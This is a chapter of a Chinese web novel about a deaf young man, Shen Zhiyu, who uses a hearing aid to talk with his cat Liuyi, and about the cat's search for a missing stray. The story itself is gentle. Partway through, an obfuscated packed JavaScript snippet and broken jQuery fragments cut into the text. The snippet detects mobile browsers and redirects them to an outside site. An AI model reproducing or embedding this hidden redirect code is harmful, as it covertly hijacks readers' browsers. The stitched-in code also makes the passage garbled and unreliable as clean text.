13.喵

作品:《小猫六一的养人手札

    沈知遇猜到突然说话会吓到小猫,但还是没想到它的反应会这么激烈。


    他无奈扶住额头,主动向六一道了歉道:“抱歉,突然说话好像有点吓到你了。”


    [你听得见,也会响?]六一停在不远紧紧盯着他,语气狐疑。


    从认识到现在已经半个月了,六一都已经适应沈知遇不会说话了,现在突然开口,不怪它应激。


    沈知遇不懂它的意思,想了想,干脆回了一个微笑。


    [你是故意的?]六一仔细打量着沈知遇,身上的味道还是没有改变,脸也没有变化,眼神也没有改变,怎么看都是他的啊呜。


    六一也不知道那是个什么鬼东西。


    沈知遇还是不懂,继续回以微笑。


    六一挑眉:又挑衅我?


    好在沈知遇也有点察言观色的本事,在看出六一眉压得越来越低,似乎更生气了以后,他赶紧收起了笑容。


    真是奇怪了,在一只猫咪面前,他竟然有一种老师在跟前的正襟危坐感。


    他局促地抓着膝盖搓了搓,道:“猫,不知道你能不能听懂我的话,我想和你简单沟通一下。”


    话说完,沈知遇就觉得自己大概是病情加重了,他竟然真的想着和一只猫咪进行言语沟通。


    但接下来他又按下了对自己病情的怀疑,因为猫咪真的从地面跳上茶几,往前靠近了他。


    [那你先说说你为什么装作不会说话?]六一一对眉紧皱成了倒八字的模样,眼神充满威严。


    但沈知遇确实听不懂啊。


    他“啊”了一声,一副完全听不懂的表情,随后他扶住下滑的眼镜,准备老老实实挨六一的打。


    [……]六一早该料到了,毕竟不是所有生物都有它这么聪明,聪明得能够听懂不同物种的话。


    它生气地瞪了沈知遇一眼,转而又觉得错在自己,是它没有教好啊呜,才让他学会了撒谎。


    越想越气,六一又抬起右爪,收起指甲对准靠自己极近的那张脸狠狠呼了一爪子。


    枉它还学着用爪子和他沟通呢!


    哼,咪的真心错付了。


    这个撒谎精!


    沈知遇捂住被打的半边脸颊,乖乖埋着脑袋。


    六一现在的反应和当初赵辞远发现他其实会说话时的反应无差,都被他突然发出声音给吓了一跳。


    只是六一的反应要更强烈一些。


    那眼神就像在瞅一个陌生人似的。


    不过它毕竟是一只小猫咪,小猫脑子转不过来很正常。


    不管小猫能不能听得懂,沈知遇都觉得自己应该和它解释一下,他抬手摸着挂在耳朵上的助听器,说:“我确实听不见,但我戴上它就可以听见和沟通了。”


    六一:?


    它目光定定地落在了那个黑色的助听器上。


    它刚刚确实有注意到啊呜耳朵上多了个这玩意儿。


    原来人类还有这么伟大的发明。


    六一毫不客气地伸出爪子,做起了伸手党。


    [给我一个]


    我要给豹豹!六一心里道。


    但是很显然,这个人类并没有揣摩出尊贵的猫大王的心思。


    他将自己的食指伸出去,小心翼翼搭在了六一摊开的爪子上。


    六一:?


    谁要和你拉手呀!六一很是嫌弃。


    它又收起指甲照着沈知遇的手背狠狠拍了一下,邦地一声,声音沉闷,这是实心的一爪子。


    手上吃了痛,沈知遇也就猜到自己没理解到小猫的真正意思了。


    一猫一人,彼此缄默。


    沈知遇揉了揉被六一打过的手背,率先打破沉寂:“猫,刚刚你是希望我不要拒绝你带回家的食物吗?”


    他没忘记自己决定戴助听器和小猫沟通的真正目的。


    六一又恼了,它朝沈知遇哈了口气:[猫什么猫?我叫六一!你得叫我大王]


    这回沈知遇还是不懂六一的意思,但他知道自己理解错了估计又会挨打,干脆挠了挠脑袋装傻,呵呵笑着将话题带了过去。


    “谢谢你给我带回家来的东西。”


    [哼,给你的你就收下]


    “但我不能吃那些东西。”


    [你这是挑食!]


    “我目前还能养活自己。”


    [你给你自己养生病了你知道吗?]


    “以后也不用给我带食物回来了。”


    [难道你打算不吃东西,原地坐化吗?传出去还说是我六一大王把人给养死了!]


    沈知遇住了嘴。


    怎么他说一句小猫叫几声,像反驳他似的。


    他为难地摸了摸脑袋,这还是他搬来后第一次在家里说这么多话,居然还是对着一只不知道能不能听懂他说话的猫咪。


    一猫一人又彼此缄默了起来。


    六一不笨,沈知遇特意戴上那个东西来和自己沟通,说明他确实不需要猫咪的食物。


    人和猫咪应该有着两套独立的生存法则,猫咪生存法则并不适用于人类。


    就像猫咪可不需要金钱那样。


    六一紧紧抿着唇,思考后率先打破了两人间的沉默:[本大王知道了]


    [你要早点戴上这玩意儿说话,本大王至于做那些无用功吗?就是你的错!]


    总之绝对不是它六一大王出了错。


    *


    昨晚沈知遇突然开口说话,六一当时受了惊吓,后面正常交流的时候,它还以为自己已经能接受了。


    不想它晚上做梦居然梦到他了。


    虽然很不想承认。


    但啊呜的嗓音确实很好听,酥酥柔柔的,温和得像春风一样和煦。


    在梦里,它身边堆满了小鱼干和猫罐头,沈知遇一声一声的“六一大王”倒让它觉得这或许是个美梦。


    只是后来六一越想越气,觉得沈知遇就应该早点戴上那玩意儿和自己说话,它也不至于憋屈那么久了。


    于是六一就这样活活被自己气醒了,醒来的它越想越气,决定要狠狠报复沈知遇一下。


    不想被窝里空荡荡的。


    啊呜今天竟然起得比它还要早?


    六一赶紧钻出被窝,连懒腰都顾不得伸,就跳下床出了卧室。


    沈知遇正好在玄关换鞋子准备出门了。


    [啊呜!]六一喊他。


    昨晚它做了个美梦,但沈知遇却未必。


    它枕在啊呜的胸膛,感受到对方心跳如前天晚上一样,沉重又不平稳,像装了很多心事在心底。


    今早一看,它的啊呜脸色比昨日还难看,眼下乌青很重,眼镜都遮不住他的憔悴,这一看就是没有睡好觉的。


    沈知遇没看它。


    六一又喊了他一声,才注意到沈知遇耳朵上是空荡荡的。


    难怪半点反应也没有。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979675|193519||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    六一只好跳上鞋柜,走去用鼻子拱了拱撑在上面的手,沈知遇的注意力被吸了去,一抬头就对上了六一忧心忡忡的眼睛。


    [啊呜,你为什么睡不好?]


    六一以为昨晚它们的沟通算得上愉悦,至少啊呜看起来是很开心的样子。


    结果到了晚上睡觉,床上的人翻来覆去,迟迟没有睡着,六一听着他不平稳的心跳声,也到了半夜才睡过去。


    它觉得是沈知遇身体里的那个病加重了。


    沈知遇听不见,看到六一冲自己喵喵叫的样子,他认为是六一在和自己道别。


    于是抬手摸了摸六一的脑袋才开门离开。


    六一跑去厨房的窗台,看着渐渐走远的背影,在漫天雪花里,那道高大的身影却显得落寞。


    六一不打算闲下来,它吃完饭就跑出去和大家一起寻找咖喱了。


    这样的下雪天,流浪在外的动物都躲了起来,如果咖喱现在是流浪的状态,说不定也躲起来了。


    这大大加大了六一它们的搜寻难度。


    [如果明天出太阳就好了]六一盯着雾蒙蒙的天空说。


    天上的云朵像紧凑在一起的棉絮团,像棉花糖,雪是从那里落下来的吗?


    天色早暗了下来,它们今天一天下来没有一点进展。


    六一气馁地叹了口气。


    “大王,没关系的,明天我们也还会和您一起找!”在他身边的波点出声安慰。


    六一舔了下嘴唇,风吹得它的唇像夏天的冰棍,舌头舔上去时还把六一冰得哆嗦了一下。


    “好。”它干咳一声掩饰失态,“都回里面去吧,我也准备回家了。”


    波点说好。


    六一目送着波点跳上钻回到了厂房里面才慢慢转身,沿着矮墙慢慢走回了家。


    有了昨晚和沈知遇的沟通,六一今天也不打算去捕鱼和出卖色相了,它在公园溜达了半圈,想要找找有没有关于咖喱的线索。


    可惜也没有关于这只猫的任何踪迹。


    过了好久,六一才朝家的方向走了去。


    路灯昏黄的灯光罩在地面,雪花扑扑簌簌地往下落,六一尾巴翘得高高的,踩着雪层路过,身上的毛发也被光晕染成了浅黄色。


    只在地面留下了一行交替的梅花脚印。


    跳上窗台,屋里没有什么动静,客厅却开着灯,厨房还残留着沈知遇做饭后的菜香。


    它煽了两下鼻翼,跳下灶台,跑去到了客厅。


    不太长的沙发上蜷缩着一个高大的人,空气低沉,怪压抑的。


    沈知遇半张脸埋在枕头里,露出的那半张脸显得疲惫不堪,眉紧蹙着,脸色憔悴。


    身上的棉毯滑到了腿部以下,将要落在地面去了。


    屋里有暖气,暖得跟春天似的,就算不盖这棉毯也不至于会被冻感冒。


    六一轻巧跃上茶几,蹲着静看了他半分钟,随后轻“爪”轻脚地跳到了沙发上。


    它埋下脑袋,张嘴叼住薄棉毯一角,费劲巴拉地将棉毯拖上沙发来盖到了沈知遇身上。


    毛毯不够长,遮住了他胸口,就盖不住他的一双脚了。


    六一又从沙发的靠背上面走去到了沈知遇脚边,跳下沙发,用自己温温软软的肚皮盖住了他露在外面的半只脚。


    这通忙活下来差点累死咪了。


    六一觉得就算上天入地也找不到像自己这样好的猫大王了。